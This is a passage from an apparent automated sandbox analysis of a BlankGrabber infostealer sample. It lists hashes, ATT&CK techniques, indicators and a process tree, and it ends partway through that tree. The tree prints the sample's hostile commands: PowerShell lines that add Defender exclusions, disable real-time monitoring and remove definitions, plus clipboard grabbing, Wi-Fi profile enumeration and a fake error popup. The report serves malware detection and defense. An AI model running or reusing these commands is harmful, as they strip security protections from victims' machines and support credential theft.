blankgrabber | cdf074c997b73bb1226198d651a7572a39db503ccd0bcc1caa1c4c448b8fa286

Analysis

max time kernel
149s
max time network
150s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
11/05/2026, 04:35

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-05-11_4861f9ea11e54188c6773bf14a49a124_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
Size 7.5MB
Sample260511-e76f7sex6k
SHA256 cdf074c997b73bb1226198d651a7572a39db503ccd0bcc1caa1c4c448b8fa286
MD5 4861f9ea11e54188c6773bf14a49a124
SHA1 58d502f33adf305df85402c1e487ea5b620e917d
SHA512 82f6374c0e09feeb208bee3dfb3792a1791343db1e79984e62a17d6f386e75f26bad6f47440d26868b7b0c90d1c57b5042722c8b9fefc28738e7757a5ed74406
SSDEEP 98304:H63SiBH9DurErvz81LpWjjUa50ZtPvYRt2e4GFNGjfzfbIbApJo4EzKhudJ1XmYr:aCM9DurErvI9pWjgfPvzm6gsFE2EL6zY
TLSH
T1ED76339263650979F4BA423D89B6D406DBB378A613F082EB07F442933F037E58E39756
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

collection credential_access defense_evasion discovery execution blankgrabber persistence privilege_escalation spyware stealer upx

Malware Config

Signatures

Family: blankgrabber
Blankgrabber is an infostealer written in Python and packaged with Pyinstaller.
stealer blankgrabber

Detects BlankGrabber stealer in memory 2 IoCs

resource	yara_rule
behavioral2/memory/3476-319-0x000001BAC73A0000-0x000001BAC78C9000-memory.dmp	blankgrabber_dmp
behavioral2/memory/3476-394-0x000001BAC73A0000-0x000001BAC78C9000-memory.dmp	blankgrabber_dmp

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2348	powershell.exe
1540	powershell.exe
780	powershell.exe
3984	powershell.exe

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
3984	powershell.exe

Drops file in Drivers directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	2026-05-11_4861f9ea11e54188c6773bf14a49a124_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe

Clipboard Data 1 TTPs 2 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
232	cmd.exe
3732	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
1100	rar.exe

Loads dropped DLL 17 IoCs

pid	Process
3476	2026-05-11_4861f9ea11e54188c6773bf14a49a124_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
3476	2026-05-11_4861f9ea11e54188c6773bf14a49a124_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
3476	2026-05-11_4861f9ea11e54188c6773bf14a49a124_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
3476	2026-05-11_4861f9ea11e54188c6773bf14a49a124_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
3476	2026-05-11_4861f9ea11e54188c6773bf14a49a124_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
3476	2026-05-11_4861f9ea11e54188c6773bf14a49a124_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
3476	2026-05-11_4861f9ea11e54188c6773bf14a49a124_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
3476	2026-05-11_4861f9ea11e54188c6773bf14a49a124_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
3476	2026-05-11_4861f9ea11e54188c6773bf14a49a124_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
3476	2026-05-11_4861f9ea11e54188c6773bf14a49a124_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
3476	2026-05-11_4861f9ea11e54188c6773bf14a49a124_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
3476	2026-05-11_4861f9ea11e54188c6773bf14a49a124_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
3476	2026-05-11_4861f9ea11e54188c6773bf14a49a124_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
3476	2026-05-11_4861f9ea11e54188c6773bf14a49a124_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
3476	2026-05-11_4861f9ea11e54188c6773bf14a49a124_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
3476	2026-05-11_4861f9ea11e54188c6773bf14a49a124_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
3476	2026-05-11_4861f9ea11e54188c6773bf14a49a124_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Enumerates processes with tasklist 1 TTPs 4 IoCs

discovery

Process Discovery

T1057

pid	Process
4612	tasklist.exe
4260	tasklist.exe
1668	tasklist.exe
3560	tasklist.exe

UPX packed file 57 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x001900000002b46b-21.dat	upx
behavioral2/memory/3476-25-0x00007FF92A0E0000-0x00007FF92A6D2000-memory.dmp	upx
behavioral2/files/0x001900000002b45e-28.dat	upx
behavioral2/files/0x001900000002b469-30.dat	upx
behavioral2/memory/3476-48-0x00007FF93E660000-0x00007FF93E66F000-memory.dmp	upx
behavioral2/files/0x001900000002b465-47.dat	upx
behavioral2/files/0x001900000002b464-46.dat	upx
behavioral2/files/0x001900000002b463-45.dat	upx
behavioral2/files/0x001900000002b462-44.dat	upx
behavioral2/files/0x001900000002b461-43.dat	upx
behavioral2/files/0x001900000002b460-42.dat	upx
behavioral2/files/0x001900000002b45f-41.dat	upx
behavioral2/files/0x001a00000002b45d-40.dat	upx
behavioral2/files/0x001900000002b470-39.dat	upx
behavioral2/files/0x001900000002b46f-38.dat	upx
behavioral2/files/0x001900000002b46e-37.dat	upx
behavioral2/files/0x001900000002b46a-34.dat	upx
behavioral2/files/0x001900000002b468-33.dat	upx
behavioral2/memory/3476-31-0x00007FF93E670000-0x00007FF93E694000-memory.dmp	upx
behavioral2/memory/3476-50-0x00007FF93E640000-0x00007FF93E659000-memory.dmp	upx
behavioral2/memory/3476-52-0x00007FF93E3A0000-0x00007FF93E3CD000-memory.dmp	upx
behavioral2/memory/3476-58-0x00007FF93D4E0000-0x00007FF93D503000-memory.dmp	upx
behavioral2/memory/3476-60-0x00007FF938CB0000-0x00007FF938E2E000-memory.dmp	upx
behavioral2/memory/3476-62-0x00007FF93E380000-0x00007FF93E399000-memory.dmp	upx
behavioral2/memory/3476-66-0x00007FF938B10000-0x00007FF938B43000-memory.dmp	upx
behavioral2/memory/3476-65-0x00007FF93E630000-0x00007FF93E63D000-memory.dmp	upx
behavioral2/memory/3476-70-0x00007FF92A0E0000-0x00007FF92A6D2000-memory.dmp	upx
behavioral2/memory/3476-71-0x00007FF929BB0000-0x00007FF92A0D9000-memory.dmp	upx
behavioral2/memory/3476-74-0x00007FF938A40000-0x00007FF938B0D000-memory.dmp	upx
behavioral2/memory/3476-73-0x00007FF93E670000-0x00007FF93E694000-memory.dmp	upx
behavioral2/memory/3476-78-0x00007FF939930000-0x00007FF93993D000-memory.dmp	upx
behavioral2/memory/3476-80-0x00007FF92EC30000-0x00007FF92ED4C000-memory.dmp	upx
behavioral2/memory/3476-77-0x00007FF938C90000-0x00007FF938CA4000-memory.dmp	upx
behavioral2/memory/3476-187-0x00007FF938CB0000-0x00007FF938E2E000-memory.dmp	upx
behavioral2/memory/3476-186-0x00007FF93D4E0000-0x00007FF93D503000-memory.dmp	upx
behavioral2/memory/3476-249-0x00007FF93E380000-0x00007FF93E399000-memory.dmp	upx
behavioral2/memory/3476-315-0x00007FF938B10000-0x00007FF938B43000-memory.dmp	upx
behavioral2/memory/3476-316-0x00007FF929BB0000-0x00007FF92A0D9000-memory.dmp	upx
behavioral2/memory/3476-326-0x00007FF938A40000-0x00007FF938B0D000-memory.dmp	upx
behavioral2/memory/3476-351-0x00007FF92A0E0000-0x00007FF92A6D2000-memory.dmp	upx
behavioral2/memory/3476-357-0x00007FF938CB0000-0x00007FF938E2E000-memory.dmp	upx
behavioral2/memory/3476-352-0x00007FF93E670000-0x00007FF93E694000-memory.dmp	upx
behavioral2/memory/3476-367-0x00007FF92A0E0000-0x00007FF92A6D2000-memory.dmp	upx
behavioral2/memory/3476-392-0x00007FF938A40000-0x00007FF938B0D000-memory.dmp	upx
behavioral2/memory/3476-393-0x00007FF929BB0000-0x00007FF92A0D9000-memory.dmp	upx
behavioral2/memory/3476-391-0x00007FF93E630000-0x00007FF93E63D000-memory.dmp	upx
behavioral2/memory/3476-390-0x00007FF93E380000-0x00007FF93E399000-memory.dmp	upx
behavioral2/memory/3476-389-0x00007FF939930000-0x00007FF93993D000-memory.dmp	upx
behavioral2/memory/3476-388-0x00007FF93D4E0000-0x00007FF93D503000-memory.dmp	upx
behavioral2/memory/3476-387-0x00007FF93E3A0000-0x00007FF93E3CD000-memory.dmp	upx
behavioral2/memory/3476-386-0x00007FF93E640000-0x00007FF93E659000-memory.dmp	upx
behavioral2/memory/3476-385-0x00007FF93E670000-0x00007FF93E694000-memory.dmp	upx
behavioral2/memory/3476-384-0x00007FF93E660000-0x00007FF93E66F000-memory.dmp	upx
behavioral2/memory/3476-383-0x00007FF938B10000-0x00007FF938B43000-memory.dmp	upx
behavioral2/memory/3476-381-0x00007FF92EC30000-0x00007FF92ED4C000-memory.dmp	upx
behavioral2/memory/3476-379-0x00007FF938C90000-0x00007FF938CA4000-memory.dmp	upx
behavioral2/memory/3476-373-0x00007FF938CB0000-0x00007FF938E2E000-memory.dmp	upx

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
3148	cmd.exe
4260	netsh.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2104	WMIC.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
4104	systeminfo.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
3984	powershell.exe
2348	powershell.exe
3984	powershell.exe
2348	powershell.exe
3732	powershell.exe
3732	powershell.exe
4232	powershell.exe
4232	powershell.exe
3732	powershell.exe
4232	powershell.exe
1540	powershell.exe
1540	powershell.exe
4324	powershell.exe
4324	powershell.exe
780	powershell.exe
780	powershell.exe
4808	powershell.exe
4808	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3984	powershell.exe
Token: SeDebugPrivilege	2348	powershell.exe
Token: SeDebugPrivilege	1668	tasklist.exe
Token: SeDebugPrivilege	3560	tasklist.exe
Token: SeDebugPrivilege	4612	tasklist.exe
Token: SeIncreaseQuotaPrivilege	4496	WMIC.exe
Token: SeSecurityPrivilege	4496	WMIC.exe
Token: SeTakeOwnershipPrivilege	4496	WMIC.exe
Token: SeLoadDriverPrivilege	4496	WMIC.exe
Token: SeSystemProfilePrivilege	4496	WMIC.exe
Token: SeSystemtimePrivilege	4496	WMIC.exe
Token: SeProfSingleProcessPrivilege	4496	WMIC.exe
Token: SeIncBasePriorityPrivilege	4496	WMIC.exe
Token: SeCreatePagefilePrivilege	4496	WMIC.exe
Token: SeBackupPrivilege	4496	WMIC.exe
Token: SeRestorePrivilege	4496	WMIC.exe
Token: SeShutdownPrivilege	4496	WMIC.exe
Token: SeDebugPrivilege	4496	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4496	WMIC.exe
Token: SeRemoteShutdownPrivilege	4496	WMIC.exe
Token: SeUndockPrivilege	4496	WMIC.exe
Token: SeManageVolumePrivilege	4496	WMIC.exe
Token: 33	4496	WMIC.exe
Token: 34	4496	WMIC.exe
Token: 35	4496	WMIC.exe
Token: 36	4496	WMIC.exe
Token: SeDebugPrivilege	3732	powershell.exe
Token: SeDebugPrivilege	4232	powershell.exe
Token: SeIncreaseQuotaPrivilege	4496	WMIC.exe
Token: SeSecurityPrivilege	4496	WMIC.exe
Token: SeTakeOwnershipPrivilege	4496	WMIC.exe
Token: SeLoadDriverPrivilege	4496	WMIC.exe
Token: SeSystemProfilePrivilege	4496	WMIC.exe
Token: SeSystemtimePrivilege	4496	WMIC.exe
Token: SeProfSingleProcessPrivilege	4496	WMIC.exe
Token: SeIncBasePriorityPrivilege	4496	WMIC.exe
Token: SeCreatePagefilePrivilege	4496	WMIC.exe
Token: SeBackupPrivilege	4496	WMIC.exe
Token: SeRestorePrivilege	4496	WMIC.exe
Token: SeShutdownPrivilege	4496	WMIC.exe
Token: SeDebugPrivilege	4496	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4496	WMIC.exe
Token: SeRemoteShutdownPrivilege	4496	WMIC.exe
Token: SeUndockPrivilege	4496	WMIC.exe
Token: SeManageVolumePrivilege	4496	WMIC.exe
Token: 33	4496	WMIC.exe
Token: 34	4496	WMIC.exe
Token: 35	4496	WMIC.exe
Token: 36	4496	WMIC.exe
Token: SeDebugPrivilege	4260	tasklist.exe
Token: SeDebugPrivilege	1540	powershell.exe
Token: SeDebugPrivilege	4324	powershell.exe
Token: SeIncreaseQuotaPrivilege	3100	WMIC.exe
Token: SeSecurityPrivilege	3100	WMIC.exe
Token: SeTakeOwnershipPrivilege	3100	WMIC.exe
Token: SeLoadDriverPrivilege	3100	WMIC.exe
Token: SeSystemProfilePrivilege	3100	WMIC.exe
Token: SeSystemtimePrivilege	3100	WMIC.exe
Token: SeProfSingleProcessPrivilege	3100	WMIC.exe
Token: SeIncBasePriorityPrivilege	3100	WMIC.exe
Token: SeCreatePagefilePrivilege	3100	WMIC.exe
Token: SeBackupPrivilege	3100	WMIC.exe
Token: SeRestorePrivilege	3100	WMIC.exe
Token: SeShutdownPrivilege	3100	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5024 wrote to memory of 3476	5024	2026-05-11_4861f9ea11e54188c6773bf14a49a124_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	79
PID 3476 wrote to memory of 1748	3476	2026-05-11_4861f9ea11e54188c6773bf14a49a124_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	80
PID 3476 wrote to memory of 2156	3476	2026-05-11_4861f9ea11e54188c6773bf14a49a124_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	81
PID 3476 wrote to memory of 4444	3476	2026-05-11_4861f9ea11e54188c6773bf14a49a124_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	82
PID 1748 wrote to memory of 2348	1748	cmd.exe	86
PID 2156 wrote to memory of 3984	2156	cmd.exe	87
PID 4444 wrote to memory of 848	4444	cmd.exe	88
PID 3476 wrote to memory of 4304	3476	2026-05-11_4861f9ea11e54188c6773bf14a49a124_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	89
PID 3476 wrote to memory of 3856	3476	2026-05-11_4861f9ea11e54188c6773bf14a49a124_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	90
PID 4304 wrote to memory of 1668	4304	cmd.exe	93
PID 3856 wrote to memory of 3560	3856	cmd.exe	94
PID 3476 wrote to memory of 4708	3476	2026-05-11_4861f9ea11e54188c6773bf14a49a124_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	95
PID 3476 wrote to memory of 232	3476	2026-05-11_4861f9ea11e54188c6773bf14a49a124_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	96
PID 3476 wrote to memory of 4980	3476	2026-05-11_4861f9ea11e54188c6773bf14a49a124_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	98
PID 3476 wrote to memory of 4700	3476	2026-05-11_4861f9ea11e54188c6773bf14a49a124_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	99
PID 3476 wrote to memory of 3148	3476	2026-05-11_4861f9ea11e54188c6773bf14a49a124_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	103
PID 3476 wrote to memory of 3632	3476	2026-05-11_4861f9ea11e54188c6773bf14a49a124_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	106
PID 3476 wrote to memory of 2724	3476	2026-05-11_4861f9ea11e54188c6773bf14a49a124_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	107
PID 3476 wrote to memory of 1984	3476	2026-05-11_4861f9ea11e54188c6773bf14a49a124_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	109
PID 4708 wrote to memory of 4496	4708	cmd.exe	112
PID 4980 wrote to memory of 4612	4980	cmd.exe	113
PID 4700 wrote to memory of 3156	4700	cmd.exe	134
PID 232 wrote to memory of 3732	232	cmd.exe	115
PID 3148 wrote to memory of 4260	3148	cmd.exe	145
PID 3632 wrote to memory of 4104	3632	cmd.exe	117
PID 1984 wrote to memory of 4232	1984	cmd.exe	118
PID 2724 wrote to memory of 2444	2724	cmd.exe	119
PID 3476 wrote to memory of 2044	3476	2026-05-11_4861f9ea11e54188c6773bf14a49a124_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	120
PID 2044 wrote to memory of 2100	2044	cmd.exe	142
PID 3476 wrote to memory of 3428	3476	2026-05-11_4861f9ea11e54188c6773bf14a49a124_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	123
PID 3428 wrote to memory of 800	3428	cmd.exe	125
PID 3476 wrote to memory of 868	3476	2026-05-11_4861f9ea11e54188c6773bf14a49a124_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	126
PID 4232 wrote to memory of 4148	4232	powershell.exe	128
PID 3476 wrote to memory of 4020	3476	2026-05-11_4861f9ea11e54188c6773bf14a49a124_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	129
PID 868 wrote to memory of 2492	868	cmd.exe	131
PID 4148 wrote to memory of 4988	4148	csc.exe	132
PID 4020 wrote to memory of 2188	4020	cmd.exe	133
PID 3476 wrote to memory of 3156	3476	2026-05-11_4861f9ea11e54188c6773bf14a49a124_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	134
PID 3476 wrote to memory of 2072	3476	2026-05-11_4861f9ea11e54188c6773bf14a49a124_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	136
PID 3156 wrote to memory of 3656	3156	cmd.exe	137
PID 3476 wrote to memory of 3784	3476	2026-05-11_4861f9ea11e54188c6773bf14a49a124_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	139
PID 2072 wrote to memory of 4720	2072	cmd.exe	141
PID 3784 wrote to memory of 2100	3784	cmd.exe	142
PID 3476 wrote to memory of 492	3476	2026-05-11_4861f9ea11e54188c6773bf14a49a124_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	143
PID 492 wrote to memory of 4260	492	cmd.exe	145
PID 3476 wrote to memory of 4452	3476	2026-05-11_4861f9ea11e54188c6773bf14a49a124_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	147
PID 4452 wrote to memory of 1540	4452	cmd.exe	149
PID 3476 wrote to memory of 3176	3476	2026-05-11_4861f9ea11e54188c6773bf14a49a124_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	150
PID 3176 wrote to memory of 4324	3176	cmd.exe	152
PID 3476 wrote to memory of 4824	3476	2026-05-11_4861f9ea11e54188c6773bf14a49a124_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	153
PID 4824 wrote to memory of 4516	4824	cmd.exe	155
PID 3476 wrote to memory of 4644	3476	2026-05-11_4861f9ea11e54188c6773bf14a49a124_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	156
PID 4644 wrote to memory of 1100	4644	cmd.exe	158
PID 3476 wrote to memory of 1168	3476	2026-05-11_4861f9ea11e54188c6773bf14a49a124_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	159
PID 1168 wrote to memory of 3100	1168	cmd.exe	161
PID 3476 wrote to memory of 4604	3476	2026-05-11_4861f9ea11e54188c6773bf14a49a124_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	162
PID 4604 wrote to memory of 2244	4604	cmd.exe	164
PID 3476 wrote to memory of 1592	3476	2026-05-11_4861f9ea11e54188c6773bf14a49a124_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	165
PID 1592 wrote to memory of 1268	1592	cmd.exe	167
PID 3476 wrote to memory of 2000	3476	2026-05-11_4861f9ea11e54188c6773bf14a49a124_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	168
PID 2000 wrote to memory of 780	2000	cmd.exe	170
PID 3476 wrote to memory of 4956	3476	2026-05-11_4861f9ea11e54188c6773bf14a49a124_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	171
PID 4956 wrote to memory of 2104	4956	cmd.exe	173
PID 3476 wrote to memory of 2152	3476	2026-05-11_4861f9ea11e54188c6773bf14a49a124_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe	174

Views/modifies file attributes 1 TTPs 2 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2188	attrib.exe
4720	attrib.exe

C:\Users\Admin\AppData\Local\Temp\2026-05-11_4861f9ea11e54188c6773bf14a49a124_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
"C:\Users\Admin\AppData\Local\Temp\2026-05-11_4861f9ea11e54188c6773bf14a49a124_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:5024
- C:\Users\Admin\AppData\Local\Temp\2026-05-11_4861f9ea11e54188c6773bf14a49a124_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
  "C:\Users\Admin\AppData\Local\Temp\2026-05-11_4861f9ea11e54188c6773bf14a49a124_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe"
  2⤵
  - Drops file in Drivers directory
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:3476
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-05-11_4861f9ea11e54188c6773bf14a49a124_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe'"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1748
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-05-11_4861f9ea11e54188c6773bf14a49a124_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2348
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2156
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      4⤵
      Command and Scripting Interpreter: PowerShell
      Disables one or more Microsoft Defender components
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3984
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('OPTIMZER DESATUALIZADO!!', 0, 'ERRO', 0+16);close()""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4444
  - - C:\Windows\system32\mshta.exe
      mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('OPTIMZER DESATUALIZADO!!', 0, 'ERRO', 0+16);close()"
      4⤵
      PID:848
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4304
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:1668
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3856
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:3560
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4708
  - - C:\Windows\System32\Wbem\WMIC.exe
      WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4496
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    - Suspicious use of WriteProcessMemory
    PID:232
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3732
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4980
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:4612
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4700
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:3156
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    - Suspicious use of WriteProcessMemory
    PID:3148
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:4260
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "systeminfo"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3632
  - - C:\Windows\system32\systeminfo.exe
      systeminfo
      4⤵
      Gathers system information
      PID:4104
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2724
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
      4⤵
      PID:2444
- - C:\Windows\system32\cmd.exe
